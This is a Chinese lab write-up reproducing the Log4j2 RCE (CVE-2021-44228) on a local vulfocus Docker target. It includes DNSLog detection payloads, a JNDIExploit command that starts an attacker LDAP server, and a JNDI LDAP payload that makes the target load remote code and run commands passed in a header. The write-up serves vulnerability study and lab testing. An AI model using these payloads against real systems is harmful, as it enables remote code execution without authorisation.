CVE-2021-44228 Log4j2 RCE漏洞复现及验证-靶场2

本次用vulfocus/log4j2-rce-2021-12-09镜像本地搭建靶场,利用  JNDIExploit-1.2-SNAPSHOT.jar 、 ldap://192.168.24.210:1389/TomcatBypass/TomcatEcho命令,开启LDAP服务,对 提交的payload进行URL编码,由于靶场镜像jdk版本过高,反弹shell失败。

一、靶场搭建

1、使用docker搭建vulfocus的漏洞靶场

docker pull vulfocus/log4j2-rce-2021-12-09:latest 
docker run -d -p 8081:8080 vulfocus/log4j2-rce-2021-12-09:latest

2、访问靶场

http://safe.***.**:8081/hello?payload=111

二、漏洞验证

1、使用DNSLog验证漏洞

通过DNSLog.cn 平台获取到域名 https://zedjvd.dnslog.cn/ ,构造payload=${jndi:ldap:// zedjvd.dnslog.cn },并使用Burpsuite进行抓包并替换payload参数, 此时若直接发包会导致服务器400错误

2、通过Burpsuite自带的编码工具对其进行URL编码

或者用其它工具编码

http://tool.chinaz.com/tools/urlencode.aspx

3、在DNSLog网站成功接收到解析记录,说明漏洞存在。

三、漏洞利用

1、用JNDIExploit启一个ldap的服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.24.210 -p 8888

2、payload提交

接着将payload更改如下:

 payload=${jndi:ldap://192.168.24.210:1389/TomcatBypass/TomcatEcho}

在请求头中添加cmd字段,后面跟上需要执行的命令:

如下说明漏洞利用成功。

3、shell反弹测试

使用多种方法,测试失败,原因为容器中的JDK版本过高,导致log4j的LDAP和RMI能力都失效。